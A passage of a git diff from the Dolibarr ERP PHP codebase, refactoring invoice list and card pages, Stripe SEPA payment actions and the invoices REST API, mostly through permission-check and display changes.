$val['lastname']; - $userstatic->firstname = $val['firstname']; - $userstatic->email = $val['email']; - $userstatic->statut = $val['statut']; - $userstatic->entity = $val['entity']; - $userstatic->photo = $val['photo']; - $userstatic->login = $val['login']; - $userstatic->office_phone = $val['office_phone']; - $userstatic->office_fax = $val['office_fax']; - $userstatic->user_mobile = $val['user_mobile']; - $userstatic->job = $val['job']; - $userstatic->gender = $val['gender']; - //print '
      ': - print ($nbofsalesrepresentative < 2) ? $userstatic->getNomUrl(-1, '', 0, 0, 12) : $userstatic->getNomUrl(-2); - $j++; - if ($j < $nbofsalesrepresentative) { - print ' '; + } + + // Type + if (!empty($arrayfields['f.type']['checked'])) { + print '
      "; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Date + if (!empty($arrayfields['f.datef']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Date + if (!empty($arrayfields['f.date_valid']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Date limit + if (!empty($arrayfields['f.date_lim_reglement']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Project ref + if (!empty($arrayfields['p.ref']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Project title + if (!empty($arrayfields['p.title']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Third party + if (!empty($arrayfields['s.nom']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Alias + if (!empty($arrayfields['s.name_alias']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Parent company + if (!empty($arrayfields['s2.nom']['checked'])) { + print '"; + if (!$i) { + $totalarray['nbfield']++; + } } - print ''; - if (!$i) { - $totalarray['nbfield']++; + // Customer Code + if (!empty($arrayfields['s.code_client']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Town + if (!empty($arrayfields['s.town']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Zip + if (!empty($arrayfields['s.zip']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // State + if (!empty($arrayfields['state.nom']['checked'])) { + print "\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Country + if (!empty($arrayfields['country.code_iso']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Type ent + if (!empty($arrayfields['typent.code']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Staff + if (!empty($arrayfields['staff.code']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - } - if (!empty($arrayfields['f.retained_warranty']['checked'])) { - print ''; - } + // Payment mode + if (!empty($arrayfields['f.fk_mode_reglement']['checked'])) { + $s = $form->form_modes_reglement($_SERVER['PHP_SELF'], $obj->fk_mode_reglement, 'none', '', -1, 0, '', 1); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } - if (!empty($arrayfields['dynamount_payed']['checked'])) { - print ''; // TODO Use a denormalized field - if (!$i) { - $totalarray['nbfield']++; + // Payment terms + if (!empty($arrayfields['f.fk_cond_reglement']['checked'])) { + $s = $form->form_conditions_reglement($_SERVER['PHP_SELF'], $obj->fk_cond_reglement, 'none', 0, '', -1, -1, 1); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'totalam'; - } - $totalarray['val']['totalam'] += $totalpay; - } - // Pending amount - if (!empty($arrayfields['rtp']['checked'])) { - print ''; // TODO Use a denormalized field - if (!$i) { - $totalarray['nbfield']++; + // Module Source + if (!empty($arrayfields['f.module_source']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'rtp'; - } - $totalarray['val']['rtp'] += $remaintopay; - } + // POS Terminal + if (!empty($arrayfields['f.pos_source']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } - // Currency - if (!empty($arrayfields['f.multicurrency_code']['checked'])) { - print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'f.total_ht'; + } + $totalarray['val']['f.total_ht'] += $obj->total_ht; } - print "\n"; - if (!$i) { - $totalarray['nbfield']++; + // Amount VAT + if (!empty($arrayfields['f.total_tva']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'f.total_tva'; + } + $totalarray['val']['f.total_tva'] += $obj->total_tva; + } + // Amount LocalTax1 + if (!empty($arrayfields['f.total_localtax1']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'f.total_localtax1'; + } + $totalarray['val']['f.total_localtax1'] += $obj->total_localtax1; + } + // Amount LocalTax2 + if (!empty($arrayfields['f.total_localtax2']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'f.total_localtax2'; + } + $totalarray['val']['f.total_localtax2'] += $obj->total_localtax2; + } + // Amount TTC + if (!empty($arrayfields['f.total_ttc']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'f.total_ttc'; + } + $totalarray['val']['f.total_ttc'] += $obj->total_ttc; } - } - // Currency rate - if (!empty($arrayfields['f.multicurrency_tx']['checked'])) { - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Amount HT - if (!empty($arrayfields['f.multicurrency_total_ht']['checked'])) { - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Amount VAT - if (!empty($arrayfields['f.multicurrency_total_vat']['checked'])) { - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Amount TTC - if (!empty($arrayfields['f.multicurrency_total_ttc']['checked'])) { - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - } - if (!empty($arrayfields['multicurrency_dynamount_payed']['checked'])) { - print ''; // TODO Use a denormalized field - if (!$i) { - $totalarray['nbfield']++; - } - } + $userstatic->id = $obj->fk_user_author; + $userstatic->login = $obj->login; + $userstatic->lastname = $obj->lastname; + $userstatic->firstname = $obj->firstname; + $userstatic->email = $obj->user_email; + $userstatic->statut = $obj->user_statut; + $userstatic->entity = $obj->entity; + $userstatic->photo = $obj->photo; + $userstatic->office_phone = $obj->office_phone; + $userstatic->office_fax = $obj->office_fax; + $userstatic->user_mobile = $obj->user_mobile; + $userstatic->job = $obj->job; + $userstatic->gender = $obj->gender; - // Pending amount - if (!empty($arrayfields['multicurrency_rtp']['checked'])) { - print ''; // TODO Use a denormalized field - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Total buying or cost price - if (!empty($arrayfields['total_pa']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Total margin - if (!empty($arrayfields['total_margin']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'total_margin'; - } - $totalarray['val']['total_margin'] += $marginInfo['total_margin']; - } - // Total margin rate - if (!empty($arrayfields['total_margin_rate']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Total mark rate - if (!empty($arrayfields['total_mark_rate']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'total_mark_rate'; - } - if ($i >= $imaxinloop - 1) { - if (!empty($total_ht)) { - $totalarray['val']['total_mark_rate'] = price2num($total_margin * 100 / $total_ht, 'MT'); + // Author + if (!empty($arrayfields['u.login']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; } } - } - // Extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; - // Fields from hook - $parameters = array('arrayfields'=>$arrayfields, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); - $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object, $action); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; - // Date creation - if (!empty($arrayfields['f.datec']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Date modification - if (!empty($arrayfields['f.tms']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Date closing - if (!empty($arrayfields['f.date_closing']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Note public - if (!empty($arrayfields['f.note_public']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Note private - if (!empty($arrayfields['f.note_private']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Template Invoice - if (!empty($arrayfields['f.fk_fac_rec_source']['checked'])) { - print ''; + if (!$i) { + $totalarray['nbfield']++; } } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Status - if (!empty($arrayfields['f.fk_statut']['checked'])) { - print '"; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Action column (Show the massaction button only when this page is not opend from the Extended POS) + if (!empty($arrayfields['f.retained_warranty']['checked'])) { + print ''; + } - if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print ''; // TODO Use a denormalized field + if (!$i) { + $totalarray['nbfield']++; } - print ''; + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'totalam'; + } + $totalarray['val']['totalam'] += $totalpay; } - print ''; + + // Pending amount + if (!empty($arrayfields['rtp']['checked'])) { + print ''; // TODO Use a denormalized field + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'rtp'; + } + $totalarray['val']['rtp'] += $remaintopay; + } + + + // Currency + if (!empty($arrayfields['f.multicurrency_code']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Currency rate + if (!empty($arrayfields['f.multicurrency_tx']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Amount HT + if (!empty($arrayfields['f.multicurrency_total_ht']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Amount VAT + if (!empty($arrayfields['f.multicurrency_total_vat']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Amount TTC + if (!empty($arrayfields['f.multicurrency_total_ttc']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + if (!empty($arrayfields['multicurrency_dynamount_payed']['checked'])) { + print ''; // TODO Use a denormalized field + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Pending amount + if (!empty($arrayfields['multicurrency_rtp']['checked'])) { + print ''; // TODO Use a denormalized field ? + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Total buying or cost price + if (!empty($arrayfields['total_pa']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Total margin + if (!empty($arrayfields['total_margin']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'total_margin'; + } + $totalarray['val']['total_margin'] += $marginInfo['total_margin']; + } + // Total margin rate + if (!empty($arrayfields['total_margin_rate']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Total mark rate + if (!empty($arrayfields['total_mark_rate']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'total_mark_rate'; + } + if ($i >= $imaxinloop - 1) { + if (!empty($total_ht)) { + $totalarray['val']['total_mark_rate'] = price2num($total_margin * 100 / $total_ht, 'MT'); + } else { + $totalarray['val']['total_mark_rate'] = ''; + } + } + } + + // Extra fields + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + // Date creation + if (!empty($arrayfields['f.datec']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Date modification + if (!empty($arrayfields['f.tms']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Date closing + if (!empty($arrayfields['f.date_closing']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Note public + if (!empty($arrayfields['f.note_public']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Note private + if (!empty($arrayfields['f.note_private']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Template Invoice + if (!empty($arrayfields['f.fk_fac_rec_source']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Status + if (!empty($arrayfields['f.fk_statut']['checked'])) { + print '"; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Action column (Show the massaction button only when this page is not opend from the Extended POS) + + if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + print "\n"; } - if (!$i) { - $totalarray['nbfield']++; - } - print "\n"; $i++; } @@ -2578,8 +2628,8 @@ if ($resql) { $urlsource .= str_replace('&', '&', $param); $filedir = $diroutputmassaction; - $genallowed = $user->rights->facture->lire; - $delallowed = $user->rights->facture->creer; + $genallowed = $user->hasRight("facture", "lire"); + $delallowed = $user->hasRight("facture", "creer"); $title = ''; print $formfile->showdocuments('massfilesarea_invoices', '', $filedir, $urlsource, 0, $delallowed, '', 1, 1, 0, 48, 1, $param, $title, '', '', '', null, $hidegeneratedfilelistifempty); diff --git a/htdocs/compta/facture/note.php b/htdocs/compta/facture/note.php index af08c6163e2..459d32cde87 100644 --- a/htdocs/compta/facture/note.php +++ b/htdocs/compta/facture/note.php @@ -48,7 +48,7 @@ if ($id > 0 || !empty($ref)) { $object->fetch($id, $ref, '', '', (!empty($conf->global->INVOICE_USE_SITUATION) ? $conf->global->INVOICE_USE_SITUATION : 0)); } -$permissionnote = $user->rights->facture->creer; // Used by the include of actions_setnotes.inc.php +$permissionnote = $user->hasRight('facture', 'creer'); // Used by the include of actions_setnotes.inc.php // Security check $socid = 0; @@ -130,7 +130,7 @@ if ($id > 0 || !empty($ref)) { if ($action != 'classify') { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); diff --git a/htdocs/compta/facture/prelevement.php b/htdocs/compta/facture/prelevement.php index 5664c2e3f54..948bb42337a 100644 --- a/htdocs/compta/facture/prelevement.php +++ b/htdocs/compta/facture/prelevement.php @@ -1,4 +1,6 @@ * Copyright (C) 2004 Eric Seigne * Copyright (C) 2004-2016 Laurent Destailleur @@ -87,7 +89,7 @@ if ($type == 'bank-transfer') { if ($type == 'bank-transfer') { $usercancreate = ($user->rights->fournisseur->facture->creer || $user->rights->supplier_invoice->creer); } else { - $usercancreate = $user->rights->facture->creer; + $usercancreate = $user->hasRight('facture', 'creer'); } @@ -138,9 +140,24 @@ if (empty($reshook)) { } } - // Payment with Direct Debit Stripe - if ($action == 'sepastripepayment' && $usercancreate) { + // Make payment with Direct Debit Stripe + if ($action == 'sepastripedirectdebit' && $usercancreate) { $result = $object->makeStripeSepaRequest($user, GETPOST('did', 'int'), 'direct-debit', 'facture'); + if ($result < 0) { + setEventMessages($object->error, $object->errors, 'errors'); + } else { + // We refresh object data + $ret = $object->fetch($id, $ref); + $isdraft = (($object->statut == Facture::STATUS_DRAFT) ? 1 : 0); + if ($ret > 0) { + $object->fetch_thirdparty(); + } + } + } + + // Make payment with Direct Debit Stripe + if ($action == 'sepastripecredittransfer' && $usercancreate) { + $result = $object->makeStripeSepaRequest($user, GETPOST('did', 'int'), 'bank-transfer', 'supplier_invoice'); if ($result < 0) { setEventMessages($object->error, $object->errors, 'errors'); } else { @@ -153,7 +170,7 @@ if (empty($reshook)) { } } - // payments conditions + // Set payments conditions if ($action == 'setconditions' && $usercancreate) { $object->fetch($id); $object->cond_reglement_code = 0; // To clean property @@ -325,7 +342,7 @@ if ($object->id > 0) { $sql .= " WHERE fk_facture = ".((int) $object->id); } $sql .= " AND pfd.traite = 0"; - $sql .= " AND pfd.ext_payment_id IS NULL"; + $sql .= " AND pfd.type = 'ban'"; $sql .= " ORDER BY pfd.date_demande DESC"; $resql = $db->query($sql); @@ -369,13 +386,13 @@ if ($object->id > 0) { // Project if (isModEnabled('project')) { $langs->load("projects"); - $morehtmlref .= '
      '.$langs->trans('Project').' '; + $morehtmlref .= '
      '; if (0) { $morehtmlref .= img_picto($langs->trans("Project"), 'project', 'class="pictofixedwidth"'); if ($action != 'classify') { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); @@ -404,7 +421,7 @@ if ($object->id > 0) { print ''; print $object->getLibType(); print ''; - if ($object->module_source) { + if (!empty($object->module_source)) { print ' ('.$langs->trans("POS").' '.$object->module_source.' - '.$langs->trans("Terminal").' '.$object->pos_source.')'; } if ($object->type == $object::TYPE_REPLACEMENT) { @@ -483,7 +500,7 @@ if ($object->id > 0) { print '
      '; + print ''; - if ($action != 'editretainedwarranty' && $user->rights->facture->creer) { + if ($action != 'editretainedwarranty' && $user->hasRight('facture', 'creer') && $object->statut == Facture::STATUS_DRAFT) { print ''; } print '
      '; print $langs->trans('RetainedWarranty'); print 'id.'">'.img_edit($langs->trans('setretainedwarranty'), 1).'
      '; print '
      '; - if ($action == 'editretainedwarranty') { + if ($action == 'editretainedwarranty' && $object->statut == Facture::STATUS_DRAFT) { print ''; print ''; print ''; + print ''; print ''; print ''; print ''; @@ -4699,7 +4706,7 @@ if ($action == 'create') { print ''; - if ($action != 'editretainedwarrantypaymentterms' && $user->rights->facture->creer) { + if ($action != 'editretainedwarrantypaymentterms' && $user->hasRight('facture', 'creer') && $object->statut == Facture::STATUS_DRAFT) { print ''; } @@ -4710,11 +4717,12 @@ if ($action == 'create') { $defaultDate = $object->date; } - if ($action == 'editretainedwarrantypaymentterms') { + if ($action == 'editretainedwarrantypaymentterms' && $object->statut == Facture::STATUS_DRAFT) { //date('Y-m-d',$object->date_lim_reglement) print ''; print ''; print ''; + print ''; $retained_warranty_fk_cond_reglement = GETPOST('retained_warranty_fk_cond_reglement', 'int'); $retained_warranty_fk_cond_reglement = !empty($retained_warranty_fk_cond_reglement) ? $retained_warranty_fk_cond_reglement : $object->retained_warranty_fk_cond_reglement; $retained_warranty_fk_cond_reglement = !empty($retained_warranty_fk_cond_reglement) ? $retained_warranty_fk_cond_reglement : $conf->global->INVOICE_SITUATION_DEFAULT_RETAINED_WARRANTY_COND_ID; @@ -4734,7 +4742,7 @@ if ($action == 'create') { print '
      '; print $langs->trans('PaymentConditionsShortRetainedWarranty'); print 'id.'">'.img_edit($langs->trans('setPaymentConditionsShortRetainedWarranty'), 1).'
      '; - if ($action != 'editretainedwarrantydatelimit' && $user->rights->facture->creer) { + if ($action != 'editretainedwarrantydatelimit' && $user->hasRight('facture', 'creer') && $object->statut == Facture::STATUS_DRAFT) { print ''; } @@ -4745,11 +4753,12 @@ if ($action == 'create') { $defaultDate = $object->date; } - if ($action == 'editretainedwarrantydatelimit') { + if ($action == 'editretainedwarrantydatelimit' && $object->statut == Facture::STATUS_DRAFT) { //date('Y-m-d',$object->date_lim_reglement) print ''; print ''; print ''; + print ''; print ''; print ''; print ''; @@ -4830,6 +4839,7 @@ if ($action == 'create') { print ''; print ''; print ''; + print ''; print $formother->select_revenue_stamp('', 'revenuestamp_type', $mysoc->country_code); print ' → '; print ' '; @@ -5369,6 +5379,7 @@ if ($action == 'create') { print ''; print ''; print ''; + print ''; print '
      '; print $langs->trans('RetainedWarrantyDateLimit'); print 'id.'">'.img_edit($langs->trans('setretainedwarrantyDateLimit'), 1).'
      '; @@ -5407,6 +5418,7 @@ if ($action == 'create') { + '; if (!empty($conf->use_javascript_ajax) && $object->statut == 0) { @@ -5418,7 +5430,7 @@ if ($action == 'create') { // Show object lines if (!empty($object->lines)) { - $ret = $object->printObjectLines($action, $mysoc, $soc, $lineid, 1); + $object->printObjectLines($action, $mysoc, $soc, $lineid, 1); } // Form to add new line @@ -5464,6 +5476,7 @@ if ($action == 'create') { if (!empty($conf->global->INVOICE_CAN_BE_EDITED_EVEN_IF_PAYMENT_DONE) || ($resteapayer == price2num($object->total_ttc, 'MT', 1) && empty($object->paye))) { if (!$objectidnext && $object->is_last_in_cycle()) { if ($usercanunvalidate) { + $params['attr']['title'] = ''; print dolGetButtonAction($langs->trans('Modify'), '', 'default', $_SERVER['PHP_SELF'].'?facid='.$object->id.'&action=modif&token='.newToken(), '', true, $params); } else { $params['attr']['title'] = $langs->trans('NotEnoughPermissions'); @@ -5494,6 +5507,7 @@ if ($action == 'create') { && ($object->statut == Facture::STATUS_CLOSED || $object->statut == Facture::STATUS_ABANDONED || ($object->statut == 1 && $object->paye == 1)) // Condition ($object->statut == 1 && $object->paye == 1) should not happened but can be found due to corrupted data && ((empty($conf->global->MAIN_USE_ADVANCED_PERMS) && $usercancreate) || $usercanreopen)) { // A paid invoice (partially or completely) if ($object->close_code != 'replaced' || (!$objectidnext)) { // Not replaced by another invoice or replaced but the replacement invoice has been deleted + $params['attr']['title'] = ''; print dolGetButtonAction($langs->trans('ReOpen'), '', 'default', $_SERVER['PHP_SELF'].'?facid='.$object->id.'&action=reopen&token='.newToken(), '', true, $params); } else { $params['attr']['title'] = $langs->trans("DisabledBecauseReplacedInvoice"); @@ -5515,6 +5529,7 @@ if ($action == 'create') { // Validate if ($object->statut == Facture::STATUS_DRAFT && count($object->lines) > 0 && ((($object->type == Facture::TYPE_STANDARD || $object->type == Facture::TYPE_REPLACEMENT || $object->type == Facture::TYPE_DEPOSIT || $object->type == Facture::TYPE_PROFORMA || $object->type == Facture::TYPE_SITUATION) && (!empty($conf->global->FACTURE_ENABLE_NEGATIVE) || $object->total_ttc >= 0)) || ($object->type == Facture::TYPE_CREDIT_NOTE && $object->total_ttc <= 0))) { if ($usercanvalidate) { + $params['attr']['title'] = ''; print dolGetButtonAction($langs->trans('Validate'), '', 'default', $_SERVER["PHP_SELF"].'?facid='.$object->id.'&action=valid&token='.newToken(), '', true, $params); } } @@ -5526,8 +5541,10 @@ if ($action == 'create') { print ''.$langs->trans('SendMail').''; } else { if ($usercansend) { + $params['attr']['title'] = ''; print dolGetButtonAction('', $langs->trans('SendMail'), 'default', $_SERVER['PHP_SELF'].'?facid='.$object->id.'&action=presend&mode=init#formmailbeforetitle', '', true, $params); } else { + $params['attr']['title'] = ''; print dolGetButtonAction('', $langs->trans('SendMail'), 'default', '#', '', false, $params); } } @@ -5570,6 +5587,7 @@ if ($action == 'create') { } else { // Sometimes we can receive more, so we accept to enter more and will offer a button to convert into discount (but it is not a credit note, just a prepayment done) //print ''.$langs->trans('DoPayment').''; + $params['attr']['title'] = ''; print dolGetButtonAction($langs->trans('DoPayment'), '', 'default', DOL_URL_ROOT.'/compta/paiement.php?facid='.$object->id.'&action=create&accountid='.$object->fk_account, '', true, $params); } } @@ -5622,6 +5640,7 @@ if ($action == 'create') { $params['attr']['title'] = $langs->trans('AmountPaidMustMatchAmountOfDownPayment'); print dolGetButtonAction($langs->trans('ClassifyPaid'), '', 'default', '#', '', false, $params); } else { + $params['attr']['title'] = ''; print dolGetButtonAction($langs->trans('ClassifyPaid'), '', 'default', $_SERVER['PHP_SELF'].'?facid='.$object->id.'&action=paid', '', true, $params); } } @@ -5667,12 +5686,14 @@ if ($action == 'create') { // Clone if (($object->type == Facture::TYPE_STANDARD || $object->type == Facture::TYPE_DEPOSIT || $object->type == Facture::TYPE_PROFORMA) && $usercancreate) { + $params['attr']['title'] = ''; print dolGetButtonAction($langs->trans('ToClone'), '', 'default', $_SERVER['PHP_SELF'].'?facid='.$object->id.'&action=clone&object=invoice', '', true, $params); } // Clone as predefined / Create template if (($object->type == Facture::TYPE_STANDARD || $object->type == Facture::TYPE_DEPOSIT || $object->type == Facture::TYPE_PROFORMA) && $object->statut == 0 && $usercancreate) { if (!$objectidnext && count($object->lines) > 0) { + $params['attr']['title'] = ''; print dolGetButtonAction($langs->trans('ChangeIntoRepeatableInvoice'), '', 'default', DOL_URL_ROOT.'/compta/facture/card-rec.php?facid='.$object->id.'&action=create', '', true, $params); } } @@ -5706,11 +5727,6 @@ if ($action == 'create') { // Delete $isErasable = $object->is_erasable(); - $params = array( - 'attr' => array( - 'class' => 'classfortooltip' - ) - ); if ($usercandelete || ($usercancreate && $isErasable == 1)) { // isErasable = 1 means draft with temporary ref (draft can always be deleted with no need of permissions) $enableDelete = false; $deleteHref = '#'; @@ -5731,8 +5747,10 @@ if ($action == 'create') { $deleteHref = $_SERVER["PHP_SELF"].'?facid='.$object->id.'&action=delete&token='.newToken(); $enableDelete = true; } + $params['attr']['title'] = ''; print dolGetButtonAction($htmltooltip, $langs->trans('Delete'), 'delete', $deleteHref, '', $enableDelete, $params); } else { + $params['attr']['title'] = ''; print dolGetButtonAction($langs->trans('Delete'), $langs->trans('Delete'), 'delete', '#', '', false); } } @@ -5802,10 +5820,14 @@ if ($action == 'create') { print '
      '; + $MAXEVENT = 10; + + $morehtmlcenter = dolGetButtonTitle($langs->trans('SeeAll'), '', 'fa fa-bars imgforviewmode', DOL_URL_ROOT.'/compta/facture/agenda.php?id='.$object->id); + // List of actions on element include_once DOL_DOCUMENT_ROOT.'/core/class/html.formactions.class.php'; $formactions = new FormActions($db); - $somethingshown = $formactions->showactions($object, 'invoice', $socid, 1); + $somethingshown = $formactions->showactions($object, 'invoice', $socid, 1, '', $MAXEVENT, '', $morehtmlcenter); // Show all action for thirdparty print '
      '; } diff --git a/htdocs/compta/facture/class/api_invoices.class.php b/htdocs/compta/facture/class/api_invoices.class.php index 4c1392e28eb..e8605916d5a 100644 --- a/htdocs/compta/facture/class/api_invoices.class.php +++ b/htdocs/compta/facture/class/api_invoices.class.php @@ -65,9 +65,9 @@ class Invoices extends DolibarrApi * * Return an array with invoice informations * - * @param int $id ID of invoice - * @param int $contact_list 0:Return array contains all properties, 1:Return array contains just id, -1: Do not return contacts/adddesses - * @return array|mixed data without useless information + * @param int $id ID of invoice + * @param int $contact_list 0:Return array contains all properties, 1:Return array contains just id, -1: Do not return contacts/adddesses + * @return Object Object with cleaned properties * * @throws RestException */ @@ -81,9 +81,9 @@ class Invoices extends DolibarrApi * * Return an array with invoice informations * - * @param string $ref Ref of object - * @param int $contact_list 0: Returned array of contacts/addresses contains all properties, 1: Return array contains just id, -1: Do not return contacts/adddesses - * @return array|mixed data without useless information + * @param string $ref Ref of object + * @param int $contact_list 0: Returned array of contacts/addresses contains all properties, 1: Return array contains just id, -1: Do not return contacts/adddesses + * @return Object Object with cleaned properties * * @url GET ref/{ref} * @@ -99,9 +99,9 @@ class Invoices extends DolibarrApi * * Return an array with invoice informations * - * @param string $ref_ext External reference of object - * @param int $contact_list 0: Returned array of contacts/addresses contains all properties, 1: Return array contains just id, -1: Do not return contacts/adddesses - * @return array|mixed data without useless information + * @param string $ref_ext External reference of object + * @param int $contact_list 0: Returned array of contacts/addresses contains all properties, 1: Return array contains just id, -1: Do not return contacts/adddesses + * @return Object Object with cleaned properties * * @url GET ref_ext/{ref_ext} * @@ -117,11 +117,11 @@ class Invoices extends DolibarrApi * * Return an array with invoice informations * - * @param int $id ID of order - * @param string $ref Ref of object - * @param string $ref_ext External reference of object - * @param int $contact_list 0: Returned array of contacts/addresses contains all properties, 1: Return array contains just id, -1: Do not return contacts/adddesses - * @return array|mixed data without useless information + * @param int $id ID of order + * @param string $ref Ref of object + * @param string $ref_ext External reference of object + * @param int $contact_list 0: Returned array of contacts/addresses contains all properties, 1: Return array contains just id, -1: Do not return contacts/adddesses + * @return Object Object with cleaned properties * * @throws RestException */ @@ -237,11 +237,10 @@ class Invoices extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { - throw new RestException(503, 'Error when validating parameter sqlfilters -> '.$errormessage); + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { + throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= 